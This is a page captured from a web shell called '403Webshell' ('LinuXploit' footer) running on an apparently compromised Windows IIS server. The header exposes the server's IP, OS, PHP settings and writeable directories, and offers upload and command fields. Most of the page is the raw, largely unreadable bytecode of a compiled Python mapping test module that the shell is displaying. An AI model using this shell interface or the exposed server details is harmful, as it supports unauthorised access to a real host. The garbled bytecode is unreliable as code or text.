403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.141
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/mapping_tests.cpython-315.opt-2.pyc
R
>lqj�[c��]PHs]PHs]QHGsQQ\O2sQQ\2sQQ\2sQQ	\2sP!)
�)�supportc�t`�\sQs]snPsQsQsQsQsQs	Qs
QsQsQ	s
Q
sQsQsQ
sQsUsP!)�!BasicTestImmutableMappingProtocolc��QQQQQQ-!)�1�2�key1�value1�key2�������selfs&�'C:\Python315\\Lib\test\mapping_tests.py�
_reference�,BasicTestImmutableMappingProtocol._references���S�&��6�'�:�:�c�$�UO2!�N��	type2testrs&r�_empty_mapping�0BasicTestImmutableMappingProtocol._empty_mappings���~�~��rc�&�UOU2!rr)r�datas&&r�
_full_mapping�/BasicTestImmutableMappingProtocol._full_mappings���~�~�d�#�#rc�D�[OOU,UN3-U@UO2O	2UmUO
O
2vq4V4-UmUO
O
2vq4V4-UmV@O
U$P!r)	�unittest�TestCase�__init__r�copy�	reference�popitem�other�	inmapping)r�args�kw�key�values&*,  rr#�*BasicTestImmutableMappingProtocol.__init__s������"�"�4�5�$�5�"�5����*�/�/�1����^�^�+�+�-�
���[��
��^�^�+�+�-�
������#���s�rc�j```	�RO2o[U2oRORO2nRUIcSoROO	2FDvq4RORU*U2J 	[
ROO22]*n	RO[UU	1Qk2RO[U2]2RO[R2[RO22ROFDoROUR2J	ROFDoROUR2J	ROV2RORR2ROUR2RORU2U%cROQ2R%fROQ2U1QkoU[!RO22[
RO22ROO22U[!R2[
RO22ROO22U[!RO#22[
RO#22ROO#22U[!RO	22[
RO	22ROO	22[%[!RO	222vq4[%[!ROO	222vn	oRORO'V72U2RORO'R	U2U2ROR	R2P!)rc�:�RR*!rr)�d�knownkeys��r�<lambda>�=BasicTestImmutableMappingProtocol.test_read.<locals>.<lambda>3s	���1�X�;rz#Empty mapping must compare to Falsez!Full mapping must compare to Truec��:�ROUQ2ROUQ2[U2oRO[U2[U2t96H9%c[U26H2P!t2P!)�__next__�__iter__)�
assertHasAttr�list�
assertTrue�set)�iter�lst�ref�xrs&&& �r�check_iterandlist�FBasicTestImmutableMappingProtocol.test_read.<locals>.check_iterandlistEsW������t�Z�0����t�Z�0��T�
�A��O�O�C��F�C��H�6�6�c�#�h�6�7�6�7r)r�dictrr%�items�assertEqualr8r'�keys�assertRaises�KeyError�len�assertIn�assertNotIn�assertNotEqual�failr;�values�next�get)
r�p�p1r+r,�kr?�
knownvaluer0r1s
f       @@r�	test_read�+BasicTestImmutableMappingProtocol.test_read(s�������!��
�!�W�����t�~�~�.����6��A��.�.�.�.�0�J�C����Q�s�V�U�+�1���
�
���)�*�1�-�����(�$6�7�����Q���#�����Q���T�^�^�!4�5����A��M�M�!�Q�� ����A����Q��"��	
���������A�����A�q�!����A�q�!��d�i�i�=�>��$�)�)�?�@�	8�
	�$�q�v�v�x�.�$�q�v�v�x�.��.�.�-�-�/�	1��$�q�'�4�����>�4�>�>�3F�3F�3H�I��$�q�x�x�z�*�D�����,<��.�.�/�/�1�	3��$�q�w�w�y�/�4����	�?��.�.�.�.�0�	2��$�q�w�w�y�/�*�
��#�D����)9�)9�);�$<�=���*�������s�/��7�������x��4�j�A�����1�%rc�d�UOUO2UO22P!r)rCrrs&r�test_constructor�2BasicTestImmutableMappingProtocol.test_constructorXs$������,�,�.��0C�0C�0E�Frc��UOUO2%(2UOUO2UO[	UO222UO[	UO22P!r)r9rr%�assertFalse�boolrs&r�	test_bool�+BasicTestImmutableMappingProtocol.test_bool[s[�����D�/�/�1�1�2�������'�����d�1�1�3�4�5�����T�^�^�,�-rc���UO2oUO[UO22,2UOoUO[UOO22]*UO22UO[UOO22]*UO22UO[UOP2P!�r)rrCr8rDr%rHr(rIr'rE�	TypeError�rr0s& r�	test_keys�+BasicTestImmutableMappingProtocol.test_keysas������!������a�f�f�h���,��N�N���
�
�d�4�>�>�.�.�0�1�!�4�a�f�f�h�?�����d�j�j�o�o�/�0��3�Q�V�V�X�>����)�Q�V�V�T�2rc��UO2oUO[UO22,2UO	[
UOP2P!r)rrCr8rLrEr_r`s& r�test_values�-BasicTestImmutableMappingProtocol.test_valuesisA�����!������a�h�h�j�)�2�.����)�Q�X�X�t�4rc��UO2oUO[UO22,2UO	[
UOP2P!r)rrCr8rBrEr_r`s& r�
test_items�,BasicTestImmutableMappingProtocol.test_itemsos@�����!������a�g�g�i��"�-����)�Q�W�W�d�3rc�^�UO2oUO[U2]2P!r^)rrCrGr`s& r�test_len�*BasicTestImmutableMappingProtocol.test_lenus$�����!������Q���#rc�2�UOoUOU[UOO	22]**[UOO22]*2UO
[UO2P!r^)	r%rCr8r(rDrLrEr_�__getitem__r`s& r�test_getitem�.BasicTestImmutableMappingProtocol.test_getitemysg���N�N������4���� 3� 3� 5�6�q�9�:��d�n�n�3�3�5�6�q�9�	;�	
���)�Q�]�]�3rc���UO2oUOUO[UOO22]*22UO
UO[UOO22]*]2]2UOoUOUO[UOO22]*22UO
UO[UOO22]*]2]2UO
UO[UOO22]*2[UOO22]*2UO
UO[UOO22]*]2[UOO22]*2UO[UO2UO[UOPPP2P!r^)r�assertIsNonerNr8r'rDrCr%r(rLrEr_r`s& r�test_get�*BasicTestImmutableMappingProtocol.test_get�s������!�����!�%�%��T�Z�Z�_�_�%6� 7�� :�;�<�������t�D�J�J�O�O�$5�6�q�9�1�=�q�A��N�N�����!�%�%��T�Z�Z�_�_�%6� 7�� :�;�<�������t�D�J�J�O�O�$5�6�q�9�1�=�q�A�������t�D�N�N�$7�$7�$9�:�1�=�>��d�n�n�3�3�5�6�q�9�	;�������t�D�N�N�$7�$7�$9�:�1�=�q�A��d�n�n�3�3�5�6�q�9�	;����)�Q�U�U�+����)�Q�U�U�D�$��=r)r(r'r%)�__name__�
__module__�__qualname__�__firstlineno__rrrrr#rSrVr[rardrgrjrnrr�__static_attributes__�__classdictcell__��
__classdict__s@rrrsT�����I�;� �$�
$�.&�`G�.�3�5�4�$�4�>�>rrc�F`�\sQs]�snQsQsQsQsQsQs	Qs
UsP!)�BasicTestMappingProtocolc�d�UO2oUO2FD	vq4VBU$J	U!r)rrB)rrr>r+r,s&&   rr�&BasicTestMappingProtocol._full_mapping�s0��
���!���*�*�,�J�C��c�F�'��rc�``�UO2nUOO2FD$vnoURR$UORR*U2J&	UOO	2FD!nRRUO[UU1Qk2J#	UO2nROUO2UO[R2UO2[RO22oUO2nROU2UO[R2UO2UOUO2o[[UO222vno[[UOO222vqEUOUORU2U2UOUR*U2UOUOVE2U2UOV4*U2UOUOU2U2UO!VC2UO[UOU2QoVSU$UOUOVF2U2UO!VC2UOUOVF2U2UO#2vnoUO!RU2UOVOR*2UO2nUO[RO"2P!)c�:�RR*!rr)r+rOs��rr2�5BasicTestMappingProtocol.test_write.<locals>.<lambda>�s	���q��vr�)rr%rBrCrDrErF�updaterAr8rrMr;r'�
setdefault�poprIr&)	rr,rBr0r1rR�defaultr+rOs	&      @@r�
test_write�#BasicTestMappingProtocol.test_write�sv������!���.�.�.�.�0�J�C���A�c�F����Q�s�V�U�+�1��>�>�&�&�(�C��#�����h�
�6�)�
���!��	������ �����a��$�.�.�1��Q�W�W�Y������!��	���������a��$�.�.�1����t�~�~�.���$�q�w�w�y�/�*�
��U�#�D����)9�)9�);�$<�=���������c�:�6��>�����3���'�������h�;�Z�H������j�1�������x��*�5�����%����(�A�E�E�8�4��� �(��������x�1�:�>�����%�������x�1�7�;��Y�Y�[�
��U�����a� �������s� 3�4�
�
�
�
�����(�A�I�I�.rc�``�UO2oUOUO2UO[	UO22[	UOO222UO2oUO2UOVO22UO2oUOUOO22UO[	UO22[	UOO222UO2oUOUOO22UO[	UO22[	UOO222UO
[[1UO]*2UnU1QkQ2oUO2UOU22[UO22o[UOO22oUOV42QQ[2nUO2oU1QkQ2oUO
RUOU22UO2U1QkQ2oUO
RUOU22U1QkQ2oUO
RUOU22UO2oU1Q	kQ
[2oUO
RUOU22UO
[UOQ,2P!)�*c�<:`�\sQs]�snU1QksQsQsQsUsP!)�<BasicTestMappingProtocol.test_update.<locals>.SimpleUserDictc�,:�ROUmP!r)r%r0)r�	outerselfs&�rr#�EBasicTestMappingProtocol.test_update.<locals>.SimpleUserDict.__init__�s���"�,�,��rc�8�UOO2!r�r0rDrs&rrD�ABasicTestMappingProtocol.test_update.<locals>.SimpleUserDict.keys�����v�v�{�{�}�$rc�*�UOU*!r�r0�r�is&&rrm�HBasicTestMappingProtocol.test_update.<locals>.SimpleUserDict.__getitem__�����v�v�a�y� rr��	rtrurvrwr#rDrmrxry)r{r�s@�r�SimpleUserDictr��s����
-�
%�
!�
!rr�c��\sQs]�sQsP!)�1BasicTestMappingProtocol.test_update.<locals>.Excr�rtrurvrwrxrrr�Excr�����drr�c�0:`�\sQs]�snU1QksQsUsP!)�=BasicTestMappingProtocol.test_update.<locals>.FailingUserDictc�
:�Rgrr�rr�s&�rrD�BBasicTestMappingProtocol.test_update.<locals>.FailingUserDict.keys������	rr)rtrurvrwrDrxry�r{r�s@�r�FailingUserDictr��s����
�
rr�c�6:`�\sQs]�snU1QksQsQsUsP!)r�c�.:�U1QkQ2oU2!)c�<:`�\sQs]�snQsQsU1QksQsUsP!)�UBasicTestMappingProtocol.test_update.<locals>.FailingUserDict.keys.<locals>.BogonIterc��]UmP!�r�r�rs&rr#�^BasicTestMappingProtocol.test_update.<locals>.FailingUserDict.keys.<locals>.BogonIter.__init__�s	��!"��rc��U!rrrs&rr6�^BasicTestMappingProtocol.test_update.<locals>.FailingUserDict.keys.<locals>.BogonIter.__iter__����#�rc�@:�UO%c
]UmQ!Rg)r�ar�r�s&�rr5�^BasicTestMappingProtocol.test_update.<locals>.FailingUserDict.keys.<locals>.BogonIter.__next__�s����6�6�6�%&�D�F�#&�!�	rr��	rtrurvrwr#r6r5rxryr�s@�r�	BogonIterr��s����#�$�"�"rr�r)rr�r�s& �rrDr��s���	"�	"�!�{�"rc��U!rr)rr+s&&rrm�IBasicTestMappingProtocol.test_update.<locals>.FailingUserDict.__getitem__s���
rr�rtrurvrwrDrmrxryr�s@�rr�r��s����
#�
�
rc�6:`�\sQsQsnQsU1QksQsUsP!)r��c�&�QQ2oU2!)c�4`�\sQsQsnQsQsQsQsUsP!)r��c�(�[Q2UmP!)r�)�ordr�rs&rr#r�	s
��!$�S���rc��U!rrrs&rr6r�r�rc��UO[Q26:c1[UO2oU9O]*
tmU![g)�z)r�r��chr�
StopIteration)r�rtns& rr5r�
s7���6�6�S��X�-�"%�d�f�f�+�C� �F�F�a�K�F�#&�J�+�+rr�r�rzs@rr�r�s����*�$�,�,rr�r)rr�s& rrDr�s��
,�
,�!�{�"rc�
:�Rgrr)rr+r�s&&�rrmr�r�rrr�r�s@�rr�r�s����
#�
�
rc�6:`�\sQsQsnQsU1QksQsUsP!)�4BasicTestMappingProtocol.test_update.<locals>.badseq�c��U!rrrs&rr6�=BasicTestMappingProtocol.test_update.<locals>.badseq.__iter__����rc�:�R2grrr�s&�rr5�=BasicTestMappingProtocol.test_update.<locals>.badseq.__next__�
����e�rr�rtrurvrwr6r5rxryr�s@�r�badseqr������
�
�
rr�r)rr�r'rCr8rBrEr_�AttributeError�clear�sortedr%�	Exception�object�
ValueError)	rr0r��i1�i2r�r�r�r�s	&      @@r�test_update�$BasicTestMappingProtocol.test_update�s|������!��	�����������a�g�g�i��$�t�z�z�/?�/?�/A�*B�C�
���!��	���
�����/�/�1�2�
���!��	������!�!�#�$�����a�g�g�i��$�t�z�z�/?�/?�/A�*B�C�
���!��	������!�!�#�$�����a�g�g�i��$�t�z�z�/?�/?�/A�*B�C�	
���9�n�5�q�x�x��D��	�	!�	!�	
���	�	����!�"�
�A�G�G�I�
��
�D�N�N�(�(�*�
+������ �"�)�"����!��	�	�	
���#�q�x�x��):�;�	���	�	�	�	
���#�q�x�x��):�;�	�	� 	
���#�q�x�x��):�;����!��	�V�	�	
���#�q�x�x���2����*�a�h�h���<rc�h�UO2oUO[UO2P!r)rrEr_r�r`s& r�test_setdefault�(BasicTestMappingProtocol.test_setdefault#s$�����!�����)�Q�\�\�2rc��UO2oUO[UO2UO[UO]*2P!�r�)rrErFr&r_r`s& r�test_popitem�%BasicTestMappingProtocol.test_popitem's:�����!�����(�A�I�I�.����)�Q�Y�Y��3rc���UO2o[UOO22]*vq#V1U$UO	[
UO[UOO22]*2UOUO
U2U2UO[U2]2UO	[
UOU2P!r^)rr8r(rBrErFr�r'rDrCrG�rr0rQ�vs&   r�test_pop�!BasicTestMappingProtocol.test_pop,s������!���D�N�N�(�(�*�+�A�.����!�����(�A�E�E�4��
�
���0A�+B�1�+E�F�������q��1�%�����Q���#����(�A�E�E�1�-rr)rtrurvrwrr�r�r�r�r�rxryrzs@rr}r}�s+�����(/�T]=�~3�4�
	.�	.rr}c�`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsQ
sQsQsQsQsQsUsP!)�TestMappingProtocol�8c���[OU2UOUO2UO2I2UO	UO]]Q5Q]Q]-2P!)r�r>�yr>r�)r}rVr9rrCrrs&rrV�$TestMappingProtocol.test_constructor9sY�� �1�1�$�7�����+�+�-�T�5H�5H�5J�J�K�������!�q��1�C��C��3C�Drc�l�[OU2UOUO2%(2UOUO	QQ-22UO[UO22P
I2UO[UO	QQ-22P	I2P!r�)r}r[r9rrrZrs&rr[�TestMappingProtocol.test_bool>s��� �*�*�4�0����D�/�/�1�1�2�����*�*�C��:�6�7�����T�0�0�2�3�u�<�=�����T�/�/��c�
�;�<��D�Erc�Z�[OU2UO2oUO[	UO22,2UO
Q]Q]-2oUO2oUOQU2UOQU2UOQU2P!�r��b�c)	r}rarrCr8rDrrHrI)rr0rQs&  rra�TestMappingProtocol.test_keysEs��� �*�*�4�0����!������a�f�f�h���,�����Q��Q�/�0��
�F�F�H���
�
�c�1���
�
�c�1������a� rc��[OU2UO]]-2oUO[	UO22],2P!r�)r}rdrrCr8rLr`s& rrd�TestMappingProtocol.test_valuesOsA�� �,�,�T�2�����!�u�%������a�h�h�j�)�A�3�/rc��[OU2UO]]-2oUO[	UO22Q,2P!)r)rr
)r}rgrrCr8rBr`s& rrg�TestMappingProtocol.test_itemsTs@�� �+�+�D�1�����!�u�%������a�g�g�i��6�(�3rc�r�UO2oUOQU2UOQU72UOQU72UOQ]Q]-2oUO	QU2UO	QU2UOQU2UO[UO2P!r�)rrIr9rrHrEr_�__contains__r`s& r�
test_contains�!TestMappingProtocol.test_containsZs������!������a� ����S�A��'�����1��%�����Q��Q�/�0���
�
�c�1���
�
�c�1������a� ����)�Q�^�^�4rc��[OU2UOQ]Q]-2oUO[	U2]2P!)r�r�)r}rjrrCrGr`s& rrj�TestMappingProtocol.test_lenfs=�� �)�)�$�/�����Q��Q�/�0������Q���#rc��[OU2UOQ]Q]-2oUOUQ*]2UOUQ*]2]UQ$]UQ$UOUQ*]2UOUQ*]2UQUOUQ]Q]-2UO	[
UO2P!r�)r}rnrrCrEr_rmr`s& rrn� TestMappingProtocol.test_getitemks��� �-�-�d�3�����Q��Q�/�0������3���#�����3���#���#����#������3���#�����3���#�
�c�F�����S�!�S�!�,�-����)�Q�]�]�3rc��UO]]]]]]-2oUO2UOU-2UO[UOP2P!r�)rr�rCrEr_r`s& r�
test_clear�TestMappingProtocol.test_clearysM������!�Q�q�!�A��/��	���	�����B�����)�Q�W�W�d�3rc�L�[OU2UO2oUO]]d-2UO]]-2UO]]]]]]-2UO	U]]]]]]-2UO2UO	U]]]]]]-2UO2oUO]dQ5UO]Q5UO]]]Q5UO	UQ]Q]Q]-2UO2oUOQ
Q,2UO	UQ]dQ]-2UO2oUOQ
Q,]]Q5UO	UQ]Q]-2UO]]]]-2oUOUO]]]]]]-2O
22UO	U]]]]]]]]-2QQ	2oUO2UOU22UO	U]]]]]]-2P!)r)r>)r�)r>r�r�r>r�r�r�c�4`�\sQsQsnQsQsQsQsUsP!)�7TestMappingProtocol.test_update.<locals>.SimpleUserDict�c�"�]]]]]]-UmP!r�r�rs&rr#�@TestMappingProtocol.test_update.<locals>.SimpleUserDict.__init__�s���A�q��A�a���rc�8�UOO2!rr�rs&rrD�<TestMappingProtocol.test_update.<locals>.SimpleUserDict.keys�r�rc�*�UOU*!rr�r�s&&rrm�CTestMappingProtocol.test_update.<locals>.SimpleUserDict.__getitem__�r�rr�r�rzs@rr�r�s����
)�
%�
!�
!rr�)r>�d)r��)r}r�rr�rCrrBr�)rr0r�s&  rr��TestMappingProtocol.test_update�s�� �,�,�T�2����!��	���!�C���	���!�B���	���!�A�q��A�a��!�����Q�q�!�A�q��O�,�	
���
�����Q�q�!�A�q��O�,�
���!��	���3���	���2���	���1��Q�������S��C��3�q�1�2�
���!��	���*�i�(�)�����S��c�"�-�.�
���!��	���*�i�(�A���3�����S��C��N�+�
����!�Q�q�z�*��	����#�#�Q�q�!�A�q��O�4�:�:�<�=�����Q�q�!�A�q��A�a�0�1�	!�	!�	
���	�	����!�"�����Q�q�!�A�q��O�,rc	�`	�UOUOOQ2QPQPQP-2UO2oUO	UOQ2UI2UOUOQ2QPQPQP-2UOUOQ]2]]]]-2UOUO,2-2QoUOUOU22]P-2UO[-O]2QQUO2oUOUOQ2QP-2UOU2OQ2QP-2UO	UOQ2OUI2UO	U2OQ2OUI2UO	[UOQ22UI2QQUO2oUOQ	2oUOUQPQP-2UOU[O2UO[[O2Q
Q[2n	U	1QkQ
UO2oUOR	UO],2U	1QkQ[2oUOR	UOOU22U	1QkQUO2oUOR	UO],2P!)�abcr�r�r�c3� �]w�	P!3hr�rrrr�g�,TestMappingProtocol.test_fromkeys.<locals>.g�s
����G�s�	c��\sQsQsQsP!)�3TestMappingProtocol.test_fromkeys.<locals>.dictlike�rr�rrr�dictliker�s��rrc�(`�\sQsQsnQsQsUsP!)�1TestMappingProtocol.test_fromkeys.<locals>.mydict�c�.�[O2!r��collections�UserDict��clss&r�__new__�9TestMappingProtocol.test_fromkeys.<locals>.mydict.__new__����"�+�+�-�-rr�rtrurvrwr)rxryrzs@r�mydictr!������
.�
.rr-�abc��\sQsQsQsP!)�.TestMappingProtocol.test_fromkeys.<locals>.Exc��rr�rrrr�r1�r�rr�c�0:`�\sQsQsnU1QksQsUsP!)�3TestMappingProtocol.test_fromkeys.<locals>.baddict1��c�:�R2grr)rr)�kwargsr�s&*,�rr#�<TestMappingProtocol.test_fromkeys.<locals>.baddict1.__init__�r�rr)rtrurvrwr#rxryr�s@�r�baddict1r4������
�
rr9c�6:`�\sQsQsnQsU1QksQsUsP!)�1TestMappingProtocol.test_fromkeys.<locals>.BadSeq��c��U!rrrs&rr6�:TestMappingProtocol.test_fromkeys.<locals>.BadSeq.__iter__�r�rc�:�R2grrr�s&�rr5�:TestMappingProtocol.test_fromkeys.<locals>.BadSeq.__next__�r�rrr�r�s@�r�BadSeqr<�r�rrBc�0:`�\sQsQsnU1QksQsUsP!)�3TestMappingProtocol.test_fromkeys.<locals>.baddict2��c�:�R2grr)rr+r,r�s&&&�r�__setitem__�?TestMappingProtocol.test_fromkeys.<locals>.baddict2.__setitem__�r�rr)rtrurvrwrGrxryr�s@�r�baddict2rD�r:rrI)��)rCr�fromkeysrr9rEr_�	__class__�type�assertIsInstancer%r&rAr�r�)
rr0rrr-�udr9rBrIr�s
&        @r�
test_fromkeys�!TestMappingProtocol.test_fromkeys�s����������0�0��7�#�d�C��c�RV�9W�X����!�����A�J�J�u�-��3�4�������E�*�S��s�4��T�,J�K�������E�!�,�q��A�a�j�9�������B���,�	�������A�C��1�T�(�3����)�R�[�[�!�4�,�t�~�~�,�����*�*�3�/�#�d��<������,�,�S�1�C��:�>�����)�)�#�.�8�8�H�D�E�����
�+�+�C�0�:�:�h�F�G�����X�.�.�s�3�4��@�A�	.�T�^�^�	.��_�_�T�
"������c�$��D�1�2����b�+�"6�"6�7����)�T�]�]�3�"�)�"�	�t�~�~�	�	
���#�x�0�0�1�#�6�	�V�	�	
���#�t�~�~�6�6���A�	�t�~�~�	�	
���#�x�0�0�1�#�6rc	�x�UO]]]]]]-2oUOUO2]]]]]]-2UO2oUOUO2U2UO	UO2UO
2UO
[UOP2P!r�)rrCr$rrOrMrEr_r`s& r�	test_copy�TestMappingProtocol.test_copy�s�������!�Q�q�!�A��/���������A�a��1�a��?�3����!���������1�%����a�f�f�h����4����)�Q�V�V�T�2rc��[OU2UO2oUOUO	Q2PI2UOUO	Q]2]2UO
Q]Q]-2oUOUO	Q2PI2UOUO	Q]2]2UOUO	Q2]2UOUO	Q]2]2P!)r�r�r�)r}rrrr9rNrCrr`s& rrr�TestMappingProtocol.test_get�s��� �)�)�$�/����!��������c�
�d�*�+�������s�A���*�����a��q�1�2��������c�
�d�*�+�������s�A���*�������s��Q�'�������s�A���*rc��[OU2UO2oUOUO	Q2PI2UO	Q,2UOUO	Q2PI2UO	Q,2O]2UO
UQ*]*]2UO	Q,2O]2UO
[UQ*2]2P!)�key0r+)r}r�rr9r��appendrCrGr`s& rr��#TestMappingProtocol.test_setdefault�s��� �0�0��6����!��������V�,��4�5�	���V�R� �������V�,��4�5�	���U�B��&�&�q�)�����5��!��a�(�	���U�B��&�&�q�)�����Q�u�X���*rc���[OU2QFCDQo[]2FCD<o]U*oUO2oUO2o[U2FD&oVd[	U2$U]6fJVe[	U2$J(	U]6�cUO2o[U2FD�oUO
29vqxo	UOU[U22UO
29vq�oUOU[U
22SOU]69%cV�6g%(2J�	UOU%(2UOU%(2CJ?	CJT	P!)r)���r)
r}r��ranger�reprr$r&rC�intr9)
r�copymode�log2size�sizer�r�r��ka�va�ta�kb�vb�tbs
&            rr�� TestMappingProtocol.test_popitem�s%�� �-�-�d�3��H�"�"�I�I���(�{���'�'�)���'�'�)���t��A�!"�d�1�g�J��!�|�%&�$�q�'�
�%��a�<�����A��t��A�"#�)�)�+�-�F�B�R��$�$�R��R��1�"#�)�)�+�-�F�B�R��$�$�R��R��1��O�O��1��(A�(A���$B�C�%����A��&����A��&�#&�rc���[OU2UO2oQQq2UOUO	V#2U2V1U$UOUO	U]2U2P!)r�def)r}r�rrCr�r�s&   rr��TestMappingProtocol.test_pops`�� �)�)�$�/�
���!���e�1�������q��a�(��!��������q�!��a�(rr)rtrurvrwrVr[rardrgrrjrnrr�rQrTrrr�r�r�rxryrzs@rr�r�8s^����E�
F�!�0�
4�
5�$�
4�4�,-�\-7�^3�	+�	+�'�0	)�	)rr�c�`�\sQsQsnQsQsQsQsQs\	O2\	O2\	O2\	OQP	Q5Q	2222sQ
sQsQsUsP!)
�TestHashMappingProtocol�c�`�[OU2QQ[2nU1QkQ[2oUO	2o]*V!2$UO[UO]2U1QkQ[2oUO	2oU2o]*V$$P	UmUORUOU2P!)c��\sQsQsQsP!)�1TestHashMappingProtocol.test_getitem.<locals>.Exc�#rr�rrrr�rs#r�rr�c�6:`�\sQsQsnU1QksQsQsUsP!)�3TestHashMappingProtocol.test_getitem.<locals>.BadEq�%c�:�R2grr�rr'r�s&&�r�__eq__�:TestHashMappingProtocol.test_getitem.<locals>.BadEq.__eq__&r�rc��]!)�rrs&r�__hash__�<TestHashMappingProtocol.test_getitem.<locals>.BadEq.__hash__(s��rr�rtrurvrwrzr~rxryr�s@�r�BadEqrv%s����
�
�
rr�c�4:`�\sQsQsnP
sU1QksQsUsP!)�5TestHashMappingProtocol.test_getitem.<locals>.BadHash�/c�<:�UO%cR2g]*!r��rKr�s&�rr~�>TestHashMappingProtocol.test_getitem.<locals>.BadHash.__hash__1�����9�9�9��%�K�rr�rtrurvrwrKr~rxryr�s@�r�BadHashr�/������D�
�
rr�)	r�rnr�r�rrErFrmrK)rr�r0r�r>r�s&    @rrn�$TestHashMappingProtocol.test_getitem!s�����(�(��.�"�)�"�	�F�	�
���!����%�'�
����(�A�M�M�2�6�	�f�	�
���!���I�����������#�q�}�}�a�0rc���[OU2QQUO2oUOQ2oUO	UQPQP-2UOU[O2P!)c�(`�\sQsQsnQsQsUsP!)�5TestHashMappingProtocol.test_fromkeys.<locals>.mydict�?c�.�[O2!rr$r's&rr)�=TestHashMappingProtocol.test_fromkeys.<locals>.mydict.__new__@r+rrr,rzs@rr-r�?r.rr-r/r�r�)r�rQrrLrCrOr%r&)rr-rPs&  rrQ�%TestHashMappingProtocol.test_fromkeys=s_���)�)�$�/�	.�T�^�^�	.��_�_�T�
"������c�$��D�1�2����b�+�"6�"6�7rc��`�[OU2QQ[2nU1QkQ[2oUO	2oU2o]*V#$P	UmUO
RUOU2P!)c��\sQsQsQsP!)�-TestHashMappingProtocol.test_pop.<locals>.Exc�Irr�rrrr�r�Ir�rr�c�4:`�\sQsQsnP
sU1QksQsUsP!)�1TestHashMappingProtocol.test_pop.<locals>.BadHash�Kc�<:�UO%cR2g]*!r�r�r�s&�rr~�:TestHashMappingProtocol.test_pop.<locals>.BadHash.__hash__Mr�rrr�r�s@�rr�r�Kr�rr�)r�r�r�r�rrKrEr��rr�r0r>r�s&   @rr�� TestHashMappingProtocol.test_popFs`����$�$�T�*�"�)�"�	�f�	�
���!���I�����������#�q�u�u�a�(rc���UO2o]U]$]oSFD/o]V]*$U]6�cUOQ2U]*
oJ1	P![cP!h9h)rz7changing dict size during iteration doesn't raise Error)rrK�RuntimeError)rr0�countr�s&   r�test_mutatingiteration�.TestHashMappingProtocol.test_mutatingiterationYsi�����!����!��	��E�����A�#���A�:��I�I�W�X���
��	��
�	��	�s�A�A�	A!�A!� A!c�`�UO2oUO[U2Q2]U]$UO[U2Q2UO2oV]$UO[U2Q2QQ[2nU1QkQ[2oUO]U2-2oUO
R[U2P!)z{}z{1: 2}z
{1: {...}}c��\sQsQsQsP!)�.TestHashMappingProtocol.test_repr.<locals>.Exc�orr�rrrr�r�or�rr�c�0:`�\sQsQsnU1QksQsUsP!)�2TestHashMappingProtocol.test_repr.<locals>.BadRepr�qc�:�R2grrr�s&�r�__repr__�;TestHashMappingProtocol.test_repr.<locals>.BadRepr.__repr__rr�rr)rtrurvrwr�rxryr�s@�r�BadReprr�qr:rr�)rrCr_r�r�rrE)rr0r�r�s&  @r�	test_repr�!TestHashMappingProtocol.test_reprfs�������!������a��$�'���!������a��(�+����!���!������a��,�/�"�)�"�	�f�	�
����7�9�~�.�����#�t�Q�'rzrequires deep stack)�ubc���UO2o[[O22FDoSoUO2oV1]$J	UO	[
[U2P!r�)rr^r�exceeds_recursion_limitrE�RecursionErrorr_)rr0r��d0s&   r�test_repr_deep�&TestHashMappingProtocol.test_repr_deepxsX��

���!���w�6�6�8�9�A��B��#�#�%�A��a�D�:�	
���.�$��2rc��````�UOUO2UO22UOUO]]-2UO]]-22QQ[2nU1QkQ[2nUOR2]-2nUO]]-2nUORU1Qk2UORUU1Qk2P!)rc��\sQsQsQsP!)�,TestHashMappingProtocol.test_eq.<locals>.Exc�rr�rrrr�r��r�rr�c�6:`�\sQsQsnU1QksQsQsUsP!)�/TestHashMappingProtocol.test_eq.<locals>.BadCmp�c�:�R2grrrys&&�rrz�6TestHashMappingProtocol.test_eq.<locals>.BadCmp.__eq__�r�rc��]!r�rrs&rr~�8TestHashMappingProtocol.test_eq.<locals>.BadCmp.__hash__�s��rrr�r�s@�r�BadCmpr��s����
�
�
rr�c�:�R2]6H!r�r)r�s�rr2�1TestHashMappingProtocol.test_eq.<locals>.<lambda>�s���v�x��{rc�:�RR6H!rr)�d1�d2s��rr2r��s	���r�2�vr)rCrrr�r�rE)rr�r�r�r�s&@@@@r�test_eq�TestHashMappingProtocol.test_eq�s��������,�,�.��0C�0C�0E�F�����+�+�Q��F�3��+�+�Q��F�3�	5�	#�)�"�	�V�	��
�
���1�
�
.��
�
�
��A��
'�����#�2�3����#�~�.rc�`�[OU2QQ[2nU1QkQ[2oUO	2oU2o]*V#$P	UmUO
RUOU,2P!)c��\sQsQsQsP!)�4TestHashMappingProtocol.test_setdefault.<locals>.Exc�rr�rrrr�r��r�rr�c�4:`�\sQsQsnP
sU1QksQsUsP!)�8TestHashMappingProtocol.test_setdefault.<locals>.BadHash�c�<:�UO%cR2g]*!r�r�r�s&�rr~�ATestHashMappingProtocol.test_setdefault.<locals>.BadHash.__hash__�r�rrr�r�s@�rr�r��r�rr�)r�r�r�r�rrKrEr�r�s&   @rr��'TestHashMappingProtocol.test_setdefault�sb����+�+�D�1�"�)�"�	�f�	�
���!���I�����������#�q�|�|�Q��3rr)rtrurvrwrnrQr�r�r�r�skip_if_huge_c_stack�skip_wasi_stack_overflow�skip_emscripten_stack_overflow�skip_if_sanitizerr�r�r�rxryrzs@rroros�����1�88�)�&�(�$
�!�!�#��%�%�'��+�+�-����4��>�3�?�.�(�$�3�/�$4�4rro)	r!r%�testrr"rr}r�rorrr�<module>r�sR�����G>��(9�(9�G>�Td.�@�d.�Nd)�2�d)�NH4�1�H4r

Youez - 2016 - github.com/yon3zu
LinuXploit